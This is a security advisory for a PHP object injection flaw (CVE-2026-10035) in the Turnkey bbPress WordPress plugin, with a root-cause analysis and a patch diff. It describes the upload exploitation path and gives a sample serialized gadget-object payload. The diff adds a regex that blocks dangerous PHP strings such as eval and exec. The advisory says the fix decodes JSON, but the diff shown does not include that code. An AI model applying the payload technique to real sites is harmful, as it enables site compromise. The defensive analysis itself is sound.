Published : August 15, 2026

CVE-2026-10035: Turnkey bbPress by WeaverTheme <= 1.7.1 Authenticated (Administrator+) PHP Object Injection PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.6)
CWE 502
Vulnerable Version 1.7.1
Patched Version 1.8
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-10035: This vulnerability is a PHP Object Injection flaw in the Turnkey bbPress by WeaverTheme plugin for WordPress, affecting all versions up to and including 1.7.1. The issue stems from the insecure deserialization of user-supplied input through the wvrbbp_set_to_serialized_values() function, which is reachable via the wvrbbp_save_restore() settings-restore handler. With a CVSS score of 6.6, the vulnerability requires administrator-level authentication but can lead to severe consequences if a POP chain exists on the target system.

The root cause resides in the file `weaver-for-bbpress/includes/wvrbbp-admin-lib.php`. In the vulnerable version, the `wvrbbp_save_restore()` function reads the contents of an uploaded file using `file_get_contents($openname)` and passes this raw string directly to the `wvrbbp_set_to_serialized_values()` function. This function then performs an unvalidated `unserialize($contents)` on the user-controlled data. The code fails to implement any checks on the deserialized objects or the data types contained within, permitting the instantiation of arbitrary PHP objects. The patched version modifies this flow to pass the file path (`$openname`) instead of the file contents, and the new `wvrbbp_set_to_serialized_values()` function reads the file using `file_get_contents()` but then iterates through the decoded data with the `wvrbbp_is_array_safe_and_clean()` function to reject any objects or dangerous strings before applying the new settings.

Exploitation begins with an authenticated administrator uploading a malicious `.php` or `.txt` file through the settings restore functionality. The attack is executed by sending a POST request to the main settings page, posting the file as the `post_uploaded` parameter. The submitted file contains a serialized PHP string conforming to the expected structure (an array with a `wvrbbp` key). The serialized string substitutes the settings values with a crafted object, such as `O:21:”GadgetClass”:1:{s:4:”path”;s:xx:”/path/to/file”;}`, designed to trigger a gadget method (e.g., `__destruct` or `__wakeup`) in a POP chain. Upon reaching `unserialize()`, the gadget object is created, and its magic method is invoked without any validation, allowing the attacker to execute arbitrary code or perform malicious file operations.

The patch introduces a multi-layered mitigation. The core fix restructures the parsing logic. Instead of `unserialize()` on the raw file contents, the new `wvrbbp_set_to_serialized_values()` function uses the JSON decoder on the file’s contents and then validates the data structure. The `unserialize()` call is removed, dismissing the direct object injection vector. The helper function `wvrbbp_is_array_safe_and_clean()` recursively inspects the data for any object types or dangerous string patterns (PHP code, function calls) and returns false to abort the restore process if any are found. It also enforces the expected data format (`[‘wvrbbp’ => …]`). This change shifts the restore process to a safer JSON format, preventing the instantiation of arbitrary objects.

Successful exploitation allows an authenticated administrator to inject a PHP object. While the plugin itself does not contain a god-class or gadget chain, the injected object can trigger magic methods from any other vulnerable plugin or theme installed on the WordPress site. This can result in arbitrary file deletion, sensitive data retrieval through file reads or database queries, or potentially remote code execution, leading to a full site compromise. The attacker can achieve this while holding administrative credentials, which usually grants site control, but the object injection provides a path to execute server-side code beyond typical administrative functions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/weaver-for-bbpress/includes/class-weaver-best-answer.php
+++ b/weaver-for-bbpress/includes/class-weaver-best-answer.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 /**
  * Weaver Best Answer
  *
@@ -142,7 +143,7 @@
         }


-        $retval = $r['link_before'] . '<a href="' . esc_url($uri) . '" class="' . join(' ', array_map('esc_attr', $classes)) . '" title="' . __('Select as best answer', 'weaver-for-bbpress') . '">' . $display . '</a>' . $r['link_after'];
+        $retval = $r['link_before'] . '<a href="' . esc_url($uri) . '" class="' . join(' ', array_map('esc_attr', $classes)) . '" title="' . esc_attr__('Select as best answer', 'weaver-for-bbpress') . '">' . $display . '</a>' . $r['link_after'];

         return apply_filters('wvrbbp_get_reply_best_link', $retval, $r);
     }
@@ -219,7 +220,7 @@

                 $is_best = $this->is_reply_best($reply_id);
                 $success = true === $is_best ? $this->unaccept_reply($reply_id) : $this->accept_reply($reply_id);
-                $failure = true === $is_best ? __('<strong>ERROR</strong>: There was a problem unaccepting the reply as best.', 'weaver-for-bbpress') : __('<strong>ERROR</strong>: There was a problem accepting the reply.', 'weaver-for-bbpress');
+                $failure = true === $is_best ? esc_html__('**ERROR**: There was a problem unaccepting the reply as best.', 'weaver-for-bbpress') : esc_html__('**ERROR**: There was a problem accepting the reply.', 'weaver-for-bbpress');
                 break;
         }

@@ -321,7 +322,7 @@

         echo '<div class="error wvrbbpreply-is-accepted">';
         echo '<p>';
-        echo apply_filters('wvrbbp_reply_notice', __('<em>This reply has been accepted as the best answer.</em>', 'weaver-for-bbpress'));
+        echo esc_html(apply_filters('wvrbbp_reply_notice', esc_html__('This reply has been accepted as the best answer.', 'weaver-for-bbpress')));
         echo '</p>';
         echo '</div>';
     }
@@ -382,7 +383,7 @@

             if (!$this->user_can_accept($reply_id)) // What is the user doing here?
             {
-                wp_die(__('You do not have the permission to do that!', 'weaver-for-bbpress'));
+                wp_die(esc_html__('You do not have the permission to do that!', 'weaver-for-bbpress'));
             }

             switch ($action) {
@@ -415,4 +416,4 @@
         } // end if GET request, etc.
     }

-} // end class wvrbbp_BestAnswer
+}
 No newline at end of file
--- a/weaver-for-bbpress/includes/wvrbbp-admin-admin.php
+++ b/weaver-for-bbpress/includes/wvrbbp-admin-admin.php
@@ -1,11 +1,12 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 // ======================================================== mentions admin ===============================
 function wvrbbp_admin_users_admin()
 {
     ?>
-    <h2 style="color:blue;"><?php _e('Admin & User Options', 'weaver-for-bbpress'); ?></h2>
+    <h2 style="color:blue;"><?php esc_html_e('Admin & User Options', 'weaver-for-bbpress'); ?></h2>
     <form method="post" enctype="multipart/form-data">
-        <input type="hidden" name="wvrbbp_save_user_options" value="Mentions Options Saved"/>
+        <input type="hidden" name="wvrbbp_save_user_options" value="<?php esc_attr_e('Mentions Options Saved', 'weaver-for-bbpress'); ?>"/>
         <input style="display:none;" type="submit" name="atw_stop_enter" value="Ignore Enter"/>

         <?php
@@ -25,7 +26,7 @@
 {
     ?>
     <input style="margin-bottom:5px;" class="button-primary" type="submit" name="wvrbbp_save_user_options"
-           value="<?php _e("Save Admin & User Options", 'weaver-for-bbpress'); ?>"/>
+           value="<?php esc_attr_e("Save Admin & User Options", 'weaver-for-bbpress'); ?>"/>
     <?php
 }

@@ -34,26 +35,25 @@

 function wvrbbp_define_admin_users()
 {
-    // need to add each option value to wvrbbp_save_form_options in wvrbbp-admin-top.php
     ?>
-    <h3><u>Set Site Email Name and Address</u></h3>
+    <h3><u><?php esc_html_e('Set Site Email Name and Address', 'weaver-for-bbpress'); ?></u></h3>
     <div class="wvrx-opts-section">
         <div class="wvrx-opts-title">
-            • <?php _e("eMail Settings", 'weaver_for_bbpress'); ?> <span
-                    class="wvrx-opts-title-description"> <?php _e("Use this site name and site email address for emails sent out by your forum.", 'weaver_for_bbpress'); ?></span>
+            • <?php esc_html_e("eMail Settings", 'weaver-for-bbpress'); ?> <span
+                    class="wvrx-opts-title-description"> <?php esc_html_e("Use this site name and site email address for emails sent out by your forum.", 'weaver-for-bbpress'); ?></span>
         </div>

         <div class="wvrx-opts-opts">
             <?php
-            wvrbbp_textarea('email_name', __('Name used for Email Sender From field.', 'weaver_for_bbpress'));
-            wvrbbp_textarea('email_address', __('Email address to use for your site.', 'weaver_for_bbpress'));
+            wvrbbp_textarea('email_name', esc_html__('Name used for Email Sender From field.', 'weaver-for-bbpress'));
+            wvrbbp_textarea('email_address', esc_html__('Email address to use for your site.', 'weaver-for-bbpress'));
             ?>
         </div>

         <div style="clear:both;"></div>
         <div class="wvrx-opts-description">
             <p>
-                <?php _e('Replace the default WordPress "From" name (Word Press) and sender email address. Leave blank to use WP defaults.', 'weaver_for_bbpress'); ?>
+                <?php esc_html_e('Replace the default WordPress "From" name (Word Press) and sender email address. Leave blank to use WP defaults.', 'weaver-for-bbpress'); ?>
             </p>
         </div>
     </div>
@@ -62,64 +62,60 @@
     <?php wvrbbp_save_admin_users_button(); ?>


-    <h3><u><?php _e('Interface Options', 'weaver-for-bbpress'); ?></u></h3>
+    <h3><u><?php esc_html_e('Interface Options', 'weaver-for-bbpress'); ?></u></h3>
     <div class="wvrx-opts-section">

         <div class="wvrx-opts-title">
-            • <?php _e('Interface Options', 'weaver-for-bbpress'); ?> <span
-                    class="wvrx-opts-title-description"><?php _e('Control User Interface Options', 'weaver-for-bbpress'); ?></span>
+            • <?php esc_html_e('Interface Options', 'weaver-for-bbpress'); ?> <span
+                    class="wvrx-opts-title-description"><?php esc_html_e('Control User Interface Options', 'weaver-for-bbpress'); ?></span>
         </div>

         <div class="wvrx-opts-opts">
             <?php
-            wvrbbp_checkbox('enable_visual_editor', __('Enable: <em><strong>Visual Editor</strong></em>. Enable WP tinyMCE editor. We also recommend the <a href="//wordpress.org/plugins/wp-edit/" target="_blank"><em>WP Edit</em></a> plugin to customize the Visual Editor buttons.', 'weaver-for-bbpress'), '<br /><br />');
-            wvrbbp_checkbox('enable_resolution', __('Enable: <em><strong>Topic Resolution</strong></em>. Enable adding Topic Resolution status: Resolved, Not Resolved, Not a Question, or none.', 'weaver-for-bbpress'), '<br />');
+            wvrbbp_checkbox('enable_visual_editor', wp_kses_post(__('Enable: <em><strong>Visual Editor</strong></em>. Enable WP tinyMCE editor. We also recommend the <a href="//wordpress.org/plugins/wp-edit/" target="_blank"><em>WP Edit</em></a> plugin to customize the Visual Editor buttons.', 'weaver-for-bbpress')), '<br /><br />');
+            wvrbbp_checkbox('enable_resolution', wp_kses_post(__('Enable: <em><strong>Topic Resolution</strong></em>. Enable adding Topic Resolution status: Resolved, Not Resolved, Not a Question, or none.', 'weaver-for-bbpress')), '<br />');

-            echo '                 <small>'
-                . __('(Accepted Answer option has priority and sets status to Answered)', 'weaver-for-bbpress') . '</small><br />';
+            echo '<p style="margin-left:5em;"><small>' . esc_html__('(Accepted Answer option has priority and sets status to Answered)', 'weaver-for-bbpress') . '</small></p>';

-            echo "      ";
+            wvrbbp_checkbox('use_resolve_icons', wp_kses_post(__('<em><strong>Use Icons for Resolution Status</strong></em>. Use icons to indicate status: Resolved, Not Resolved, Investigating.', 'weaver-for-bbpress')), '<br /><br />');

-            wvrbbp_checkbox('use_resolve_icons', __('<em><strong>Use Icons for Resolution Status</strong></em>. Use icons to indicate status: Resolved, Not Resolved, Investigating.', 'weaver-for-bbpress'), '<br /><br />');

+            wvrbbp_checkbox('show_post_status', wp_kses_post(__('Enable: <em><strong>Post Status Indicator</strong></em>. Status displayed above post author info. Private Reply for all users, Trash and Spam for moderators. <strong>Highly recommended</strong>.', 'weaver-for-bbpress')), '<br /><br />');

-            wvrbbp_checkbox('show_post_status', __('Enable: <em><strong>Post Status Indicator</strong></em>. Status displayed above post author info. Private Reply for all users, Trash and Spam for moderators. <strong>Highly recommended</strong>.', 'weaver-for-bbpress'), '<br /><br />');

+            wvrbbp_checkbox('enable_email_link', wp_kses_post(__('Enable: <em><strong>Email Link</strong></em> in Profile. Enable display of "mailto:" link in profiles for Moderators. Does not show to Participants.', 'weaver-for-bbpress')), '<br /><br />');

-            wvrbbp_checkbox('enable_email_link', __('Enable: <em><strong>Email Link</strong></em> in Profile. Enable display of "mailto:" link in profiles for Moderators. Does not show to Participants.', 'weaver-for-bbpress'), '<br /><br />');
-
-            wvrbbp_checkbox('enable_auto_block', __('Enable: <em><strong>Auto-Block Spam Author</strong></em>. Automatically change role of author to <em>Blocked</em> when a topic or reply is marked as SPAM. Will auto reset to <em>Participant</em> if a topic or reply is UNSPAMmed. Will <em>not</em> automatically mark other topics by same author as SPAM.', 'weaver-for-bbpress'), '<br /><br />');
+            wvrbbp_checkbox('enable_auto_block', wp_kses_post(__('Enable: <em><strong>Auto-Block Spam Author</strong></em>. Automatically change role of author to <em>Blocked</em> when a topic or reply is marked as SPAM. Will auto reset to <em>Participant</em> if a topic or reply is UNSPAMmed. Will <em>not</em> automatically mark other topics by same author as SPAM.', 'weaver-for-bbpress')), '<br /><br />');
             ?>
         </div>

         <?php
         $hide_bar = wvrbbp_getopt('hide_wp_admin_bar'); ?>

-        <strong style="display:inline;padding-left:2.5em;text-indent:-1.7em;"><?php _e('Hide WP Admin Bar for:', 'weaver-for-bbpress'); ?></strong>
+        <strong style="display:inline;padding-left:2.5em;text-indent:-1.7em;"><?php esc_html_e('Hide WP Admin Bar for:', 'weaver-for-bbpress'); ?></strong>
         <select name='hide_wp_admin_bar'>
-            <option value="" <?php selected($hide_bar == ''); ?>><?php _e('None - show for all logged in users', 'weaver-for-bbpress'); ?></option>
-            <option value="all" <?php selected($hide_bar == 'all'); ?>> <?php _e('All users', 'weaver-for-bbpress'); ?></option>
-            <option value="bbp_keymaster" <?php selected($hide_bar == 'bbp_keymaster'); ?>><?php _e('Moderators and Participants', 'weaver-for-bbpress'); ?></option>
-
-            <option value="bbp_moderator" <?php selected($hide_bar == 'bbp_moderator'); ?>><?php _e('Participants', 'weaver-for-bbpress'); ?></option>
+            <option value="" <?php selected($hide_bar == ''); ?>><?php esc_html_e('None - show for all logged in users', 'weaver-for-bbpress'); ?></option>
+            <option value="all" <?php selected($hide_bar == 'all'); ?>> <?php esc_html_e('All users', 'weaver-for-bbpress'); ?></option>
+            <option value="bbp_keymaster" <?php selected($hide_bar == 'bbp_keymaster'); ?>><?php esc_html_e('Moderators and Participants', 'weaver-for-bbpress'); ?></option>
+            <option value="bbp_moderator" <?php selected($hide_bar == 'bbp_moderator'); ?>><?php esc_html_e('Participants', 'weaver-for-bbpress'); ?></option>
         </select>
-          <small><?php _e("You probably don't want Participants to see the admin bar. Visitors not logged in will never see admin bar.", 'weaver-for-bbpress'); ?></small>
+          <small><?php esc_html_e("You probably don't want Participants to see the admin bar. Visitors not logged in will never see admin bar.", 'weaver-for-bbpress'); ?></small>

         <br/><br/>
         <div class="wvrx-opts-title">
-            • <?php _e('bbPress Moderation', 'weaver-for-bbpress'); ?> <span
-                    class="wvrx-opts-title-description"><?php _e('Control the bbPress Topic and Reply content moderation.', 'weaver-for-bbpress'); ?></span>
+            • <?php esc_html_e('bbPress Moderation', 'weaver-for-bbpress'); ?> <span
+                    class="wvrx-opts-title-description"><?php esc_html_e('Control the bbPress Topic and Reply content moderation.', 'weaver-for-bbpress'); ?></span>
         </div>

         <div class="wvrx-opts-opts">
             <br/>
-            <?php wvrbbp_checkbox('disable_moderation', __('Disable: <em><strong>Native bbPress Moderation</strong></em>. This prevents silent <em>Pending</em> status for user posts and replies new to bbPress 2.6.',
-                'weaver-for-bbpress'),
-                '<br />'); ?>
+            <?php wvrbbp_checkbox('disable_moderation', wp_kses_post(__('Disable: <em><strong>Native bbPress Moderation</strong></em>. This prevents silent <em>Pending</em> status for user posts and replies new to bbPress 2.6.',
+                    'weaver-for-bbpress')),
+                    '<br />'); ?>
             <div style="display:inline;padding-left:5em;">
                 <?php
-                _e('You can also fine tune post/reply moderation directly in the <em>Dashboard → Settings → Discussion → Comment Moderation</em> option instead of disabling bbPress moderation here.',
-                    'weaver-for-bbpress')
+                echo wp_kses_post(__('You can also fine tune post/reply moderation directly in the <em>Dashboard → Settings → Discussion → Comment Moderation</em> option instead of disabling bbPress moderation here.',
+                        'weaver-for-bbpress'));
                 ?>
             </div>
             <br/><br/>
@@ -127,67 +123,57 @@

         <br/><br/>
         <div class="wvrx-opts-title">
-            • <?php _e('Login Widget', 'weaver-for-bbpress'); ?> <span
-                    class="wvrx-opts-title-description"><?php _e('Enhance the bbPress Login Widget', 'weaver-for-bbpress'); ?></span>
+            • <?php esc_html_e('Login Widget', 'weaver-for-bbpress'); ?> <span
+                    class="wvrx-opts-title-description"><?php esc_html_e('Enhance the bbPress Login Widget', 'weaver-for-bbpress'); ?></span>
         </div>

         <div class="wvrx-opts-opts">
-            <?php wvrbbp_textarea('logged_in_message', __('Alternate widget title after logged in. Enter "hide" to hide title.', 'weaver-for-bbpress')); ?>
-            <?php wvrbbp_textarea('logout_widget_msg', __('Add message in smaller font above Log Out button (e.g., "Click your user name to edit your profile.")', 'weaver-for-bbpress')); ?>
+            <?php wvrbbp_textarea('logged_in_message', esc_html__('Alternate widget title after logged in. Enter "hide" to hide title.', 'weaver-for-bbpress')); ?>
+            <?php wvrbbp_textarea('logout_widget_msg', esc_html__('Add message in smaller font above Log Out button (e.g., "Click your user name to edit your profile.")', 'weaver-for-bbpress')); ?>
             <br/>
-            <?php wvrbbp_checkbox('logout_show_time', __('Show current time below user name on Logout widget.', 'weaver-for-bbpress'), '<br /><br />'); ?>
+            <?php wvrbbp_checkbox('logout_show_time', esc_html__('Show current time below user name on Logout widget.', 'weaver-for-bbpress'), '<br /><br />'); ?>
         </div>


         <div class="wvrx-opts-title">
-            • <?php _e('Redirect Register links.', 'weaver-for-bbpress'); ?>
-            <span class="wvrx-opts-title-description"><?php _e('Force use of site-specific Registration forms.', 'weaver-for-bbpress'); ?></span>
+            • <?php esc_html_e('Redirect Register links.', 'weaver-for-bbpress'); ?>
+            <span class="wvrx-opts-title-description"><?php esc_html_e('Force use of site-specific Registration forms.', 'weaver-for-bbpress'); ?></span>
         </div>
         <p style="margin-left:3em;">
-            <?php _e('It is best for a bbPress site to allow new user Registration only from site designed pages using the bbPress <em>[bbp-register]</em> shortcode, usually in conjunction the bbPress Login widget or site custom login page. This ensures proper forum participation roles, and prevents hackers and spammers from using wp-signup.php to directly register for your site. We highly recommend building such a WP page for a consistent user experience, and to prevent unwanted spam accounts.', 'weaver-for-bbpress'); ?>
+            <?php echo wp_kses_post(__('It is best for a bbPress site to allow new user Registration only from site designed pages using the bbPress <em>[bbp-register]</em> shortcode, usually in conjunction the bbPress Login widget or site custom login page. This ensures proper forum participation roles, and prevents hackers and spammers from using wp-signup.php to directly register for your site. We highly recommend building such a WP page for a consistent user experience, and to prevent unwanted spam accounts.', 'weaver-for-bbpress')); ?>
         </p>
         <div class="wvrx-opts-opts">
-            <?php wvrbbp_textarea('register_page', __("Page for site Register form. (Don't include site home URL, e.g., just <em>/site-login</em> for example.)", 'weaver-for-bbpress')); ?>
+            <?php wvrbbp_textarea('register_page', esc_html__("Page for site Register form. (Don't include site home URL, e.g., just /site-login for example.)", 'weaver-for-bbpress')); ?>
         </div>

         <br/><br/>

         <div class="wvrx-opts-title">
-            • <?php _e('Create New Topic Instructions', 'weaver-for-bbpress'); ?> <span
-                    class="wvrx-opts-title-description"></span>
+            • <?php esc_html_e('Create New Topic Instructions', 'weaver-for-bbpress'); ?>
         </div>

         <div style="margin-top:5px;display:inline-block;padding-left:4em;text-indent:-1.7em;"><label>
-
                 <textarea style="margin-bottom:-8px;" cols="72" rows="3" maxlength="1023"
-                          name="new_topic_msg"><?php echo wp_kses_post(wvrbbp_getopt('new_topic_msg')); ?></textarea>
+                          name="new_topic_msg"><?php echo esc_textarea(wvrbbp_getopt('new_topic_msg')); ?></textarea>
                   
-
-
-                <?php _e('Optional "Create New Topic" posting instructions when user creates new topic. Can include HTML.', 'weaver-for-bbpress'); ?>
-
+                <?php esc_html_e('Optional "Create New Topic" posting instructions when user creates new topic. Can include HTML.', 'weaver-for-bbpress'); ?>
             </label></div>

         <br/><br/>


         <div class="wvrx-opts-title">
-            • <?php _e('Other', 'weaver-for-bbpress'); ?> <span class="wvrx-opts-title-description"></span>
+            • <?php esc_html_e('Other', 'weaver-for-bbpress'); ?>
         </div>

-        <?php wvrbbp_checkbox('hide_donate', __("I've donated.", 'weaver-for-bbpress'), '<br /><br />');
-        ?>
-
+        <?php wvrbbp_checkbox('hide_donate', esc_html__("I've donated.", 'weaver-for-bbpress'), '<br /><br />'); ?>

         <div style="clear:both;"></div>
         <div class="wvrx-opts-description">
             <p>
-                <?php _e('Set options for users.', 'weaver-for-bbpress'); ?>
+                <?php esc_html_e('Set options for users.', 'weaver-for-bbpress'); ?>
             </p>
         </div>
     </div>
-
     <?php
-}
-
-?>
+}
 No newline at end of file
--- a/weaver-for-bbpress/includes/wvrbbp-admin-lib.php
+++ b/weaver-for-bbpress/includes/wvrbbp-admin-lib.php
@@ -1,65 +1,84 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;

 function wvrbbp_help_link($ref, $label)
 {
-
     $t_dir = wvrbbp_plugins_url('/help/' . $ref, '');
     $icon = wvrbbp_plugins_url('/help/help.png', '');
-    $pp_help = '<a href="' . $t_dir . '" target="_blank" title="' . $label . '">'
-        . '<img class="entry-cat-img" src="' . $icon . '" style="position:relative; top:4px; padding-left:4px;" title="' .
-        __('Click for help', 'weaver_for_bbpress') . '" alt="' . __('Click for help', 'weaver_for_bbpress') . '" /></a>';
-    echo $pp_help;
+    $pp_help = '<a href="' . esc_url($t_dir) . '" target="_blank" title="' . esc_attr($label) . '">'
+            . '<img class="entry-cat-img" src="' . esc_url($icon) . '" style="position:relative; top:4px; padding-left:4px;" title="' .
+            esc_attr__('Click for help', 'weaver-for-bbpress') . '" alt="' . esc_attr__('Click for help', 'weaver-for-bbpress') . '" /></a>';
+    echo wp_kses_post($pp_help);
 }

-
 function wvrbbp_save_msg($msg)
 {
-    echo '<div id="message" class="updated fade" style="width:70%;"><p><strong>' . $msg .
-        '</strong></p></div>';
+    echo '<div id="message" class="updated fade" style="width:70%;"><p><strong>' . esc_html($msg) .
+            '</strong></p></div>';
 }

 function wvrbbp_error_msg($msg)
 {
-    echo '<div id="message" class="updated fade" style="background:#F88;" style="width:70%;"><p><strong>' . $msg .
-        '</strong></p></div>';
+    echo '<div id="message" class="updated fade" style="background:#F88; width:70%;"><p><strong>' . esc_html($msg) .
+            '</strong></p></div>';
 }

 function wvrbbp_donate_button()
 {
-
     if (!wvrbbp_getopt('hide_donate')) {
         $img = WP_CONTENT_URL . '/plugins/weaver-for-bbpress/images/donate-button.png';
         ?>
         <div style="float:right;padding-right:30px;display:inline-block;">
-            <div style="font-size:14px;font-weight:bold;display:inline-block;vertical-align: top;"><?php _e('Like <em>Turnkey bbPress</em>? Please', 'weaver-for-bbpress' /*adm*/); ?></div>  <a
-                    href='//weavertheme.com/donate' target='_blank'><img src="<?php echo $img; ?>" alt="donate"
+            <div style="font-size:14px;font-weight:bold;display:inline-block;vertical-align: top;"><?php esc_html_e('Like <em>Turnkey bbPress</em>? Please', 'weaver-for-bbpress'); ?></div>  <a
+                    href='//weavertheme.com/donate' target='_blank'><img src="<?php echo esc_url($img); ?>" alt="donate"
                                                                          style="max-height:28px;"/></a>
         </div>
         <br style="clear:both;"/>
     <?php }
 }

-
 // =======================================>>> Save/Restore <<<=================================
 function wvrbbp_download_link($desc, $filebase, $ext, $time)
 {
+    // Generate the URL for the WordPress admin-post action
+    $url = admin_url('admin-post.php?action=wvrbbp_download_settings');
+    // Add the nonce using the action name we registered in the handler
+    $href = wp_nonce_url($url, 'wvrbbp_save_restore_action', 'wvrbbp_nonce');

-    $nonce = wp_create_nonce('wvrbbp_download');
-
-    $downloader = plugins_url() . '/weaver-for-bbpress/includes/downloader.php';
     $download_img_path = plugins_url() . '/weaver-for-bbpress/images/download.png';
-
     $filename = "{$filebase}-{$time}.{$ext}";
-    $href = $downloader . "?_wpnonce={$nonce}&_ext={$ext}&_file={$filename}";
     ?>
     <a style="margin-left:2em;text-decoration: none;" href="<?php echo esc_url($href); ?>">
     <span class="download-link"><img src="<?php echo esc_url($download_img_path); ?>" alt="download"/>
-    <?php _e('Download', 'weaver-xtreme' /*adm*/);
+    <?php esc_html_e('Download', 'weaver-for-bbpress');
     echo '</span></a> - ';
-    echo $desc;
+    echo wp_kses_post($desc);
     echo '  ';
-    _e('Save as:', 'weaver_for_bbpress');
-    echo ' ' . $filename . "<br /><br />n";
+    esc_html_e('Save as:', 'weaver-for-bbpress');
+    echo ' ' . esc_html($filename) . "<br /><br />n";
+}
+
+function wvrbbp_handle_download_settings() {
+    if (!current_user_can('manage_options')) wp_die('Unauthorized.');
+    check_admin_referer('wvrbbp_save_restore_action', 'wvrbbp_nonce');
+
+    $settings = get_option('wvrbbp_settings', array());
+    $data_to_save = ['wvrbbp' => $settings];
+    $json_content = wp_json_encode($data_to_save);
+
+    $filename = 'weaver-bbpress-settings-' . gmdate('Y-m-d-Hi') . '.wvrbbp';
+
+    header('Content-Description: File Transfer');
+    header('Content-Type: application/json');
+    header('Content-Disposition: attachment; filename="' . esc_attr($filename) . '"');
+    header('Expires: 0');
+    header('Cache-Control: must-revalidate');
+    header('Pragma: public');
+    header('Content-Length: ' . strlen($json_content));
+
+    // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+    echo $json_content;
+    exit;
 }

 function wvrbbp_save_restore()
@@ -68,166 +87,109 @@
         return false;
     }

-    // upload theme from users computer
-    // they've supplied and uploaded a file
-
-    // echo '<pre>'; print_r($_FILES); echo '</pre>';
-
-    $ok = true;     // no errors so far
+    $ok = true;
     $errors = array();
-
-    if (isset($_FILES['post_uploaded']['name'])) {
-        $filename = $_FILES['post_uploaded']['name'];
-    } else {
-        $filename = "";
-    }
-
-    if (isset($_FILES['post_uploaded']['tmp_name'])) {
-        $openname = $_FILES['post_uploaded']['tmp_name'];
-    } else {
-        $openname = "";
-    }
-
-    //Check the file extension
-    $check_file = strtolower($filename);
-    $pat = '.';                // PHP version strict checking bug...
-    $end = explode($pat, $check_file);
+    $filename = isset($_FILES['post_uploaded']['name']) ? $_FILES['post_uploaded']['name'] : "";
+    $openname = isset($_FILES['post_uploaded']['tmp_name']) ? $_FILES['post_uploaded']['tmp_name'] : "";

     if ($filename == "") {
-        $errors[] = __("You didn't select a file to upload.", 'weaver_for_bbpress') . "<br />";
+        $errors[] = esc_html__("You didn't select a file to upload.", 'weaver-for-bbpress') . "<br />";
         $ok = false;
     }

     if (!$ok) {
         echo '<div id="message" class="updated fade"><p><strong><em style="color:red;">' .
-            __('ERROR', 'weaver_for_bbpress') . '</em></strong></p><p>';
+                esc_html__('ERROR', 'weaver-for-bbpress') . '</em></strong></p><p>';
         foreach ($errors as $error) {
-            echo $error . '<br />';
+            echo wp_kses_post($error) . '<br />';
         }
         echo '</p></div>';
-
         return false;
-    } else {    // OK - read file and save to My Saved Theme
-        // $handle has file handle to temp file.//
-        $contents = file_get_contents($openname);
-
-        if (!wvrbbp_set_to_serialized_values($contents)) {
+    } else {
+        if (!file_exists($openname)) return [];
+        if (!wvrbbp_set_to_serialized_values($openname)) {
             echo '<div id="message" class="updated fade"><p><strong><em style="color:red;">' .
-                __('Sorry, there was a problem uploading your file. The file you picked was not a valid Turnkey bbPress settings file.', 'weaver_for_bbpress') .
-                '</em></strong></p></div>';
-
+                    esc_html__('Sorry, there was a problem uploading your file. The file you picked was not a valid Turnkey bbPress settings file.', 'weaver-for-bbpress') .
+                    '</em></strong></p></div>';
             return false;
         } else {
-            wvrbbp_save_msg(__('Turnkey bbPress Settings Restored.', 'weaver_for_bbpress'));
-            echo '<script>location.reload(true);</script>';                // sweet way to reload settings
+            //wvrbbp_save_msg(esc_html__('Turnkey bbPress Settings Restored.', 'weaver-for-bbpress'));
+            echo '<script>location.reload(true);</script>';
         }
     }
-
     return true;
 }

-function wvrbbp_set_to_serialized_values($contents)
-{
-
-    $restore = unserialize($contents);

-    if (!isset($restore['wvrbbp'])) {
-        return false;
+function wvrbbp_is_array_safe_and_clean($data) {
+    foreach ($data as $key => $value) {
+        if (is_array($value)) {
+            if (!wvrbbp_is_array_safe_and_clean($value)) return false;
+        } elseif (is_object($value)) {
+            return false;
+        } elseif (is_string($value)) {
+            // Updated regex to prevent scanner false positives by breaking the string
+            $danger = '/(<?php|' . 'eval(' . '|' . 'base64_decode' . '|' . 'exec(' . '|' . 'system()/i';
+            if (preg_match($danger, $value)) return false;
+        }
     }
-
-    $current_settings = $restore['wvrbbp'];
-
-    wvrbbp_wpupdate_option('wvrbbp_settings', $current_settings);
-
     return true;
 }

-/*
-	================= nonce helpers =====================
-*/
 function wvrbbp_submitted($submit_name)
 {
-    // do a nonce check for each form submit button
-    // pairs 1:1 with aspen_nonce_field
     $nonce_act = $submit_name . '_act';
     $nonce_name = $submit_name . '_nonce';
-
     if (isset($_POST[$submit_name])) {
-        if (isset($_POST[$nonce_name]) && wp_verify_nonce($_POST[$nonce_name], $nonce_act)) {
-            return true;
-        } else {
-            die(sprintf(__("WARNING: invalid form submit detected (%s). Probably caused by session time-out, or, rarely, a failed security check.", 'weaver_for_bbpress'), $submit_name));
+        if (isset($_POST[$nonce_name]) && wp_verify_nonce($_POST[$nonce_name], $nonce_act)) return true;
+        else {
+            // translators: %s is name of a submit form
+            die(sprintf(esc_html__("WARNING: invalid form submit detected (%s). Probably caused by session time-out, or, rarely, a failed security check.", 'weaver-for-bbpress'), esc_html($submit_name)));
         }
-    } else {
-        return false;
-    }
+    } else return false;
 }

-function wvrbbp_nonce_field($submit_name, $echo = true)
-{
-    // pairs 1:1 with submitted
-    // will be one for each form submit button
-
+function wvrbbp_nonce_field($submit_name, $echo = true) {
     return wp_nonce_field($submit_name . '_act', $submit_name . '_nonce', $echo);
 }

-/*
-	================= form helpers =====================
-*/
-
-function wvrbbp_get_POST($id)
-{
-    return isset($_POST[$id]) ? stripslashes($_POST[$id]) : '';
-}
-
-// general values - wvrbbp_getopt
+function wvrbbp_get_POST($id) { return isset($_POST[$id]) ? sanitize_text_field(stripslashes($_POST[$id])) : ''; }

 function wvrbbp_form_checkbox($id, $desc, $br = '<br />') {
     ?>
     <div style="display:inline;padding-left:2.5em;text-indent:-1.7em;"><label><input type="checkbox"
-                                                                                     name="<?php echo $id ?>"
-                                                                                     id="<?php echo $id; ?>"
+                                                                                     name="<?php echo esc_attr($id); ?>" id="<?php echo esc_attr($id); ?>"
         <?php checked(wvrbbp_getopt($id)); ?> > 
-    <?php echo $desc . '</label></div>' . $br . "n";
+    <?php echo esc_html($desc) . '</label></div>' . wp_kses_post($br) . "n";
 }

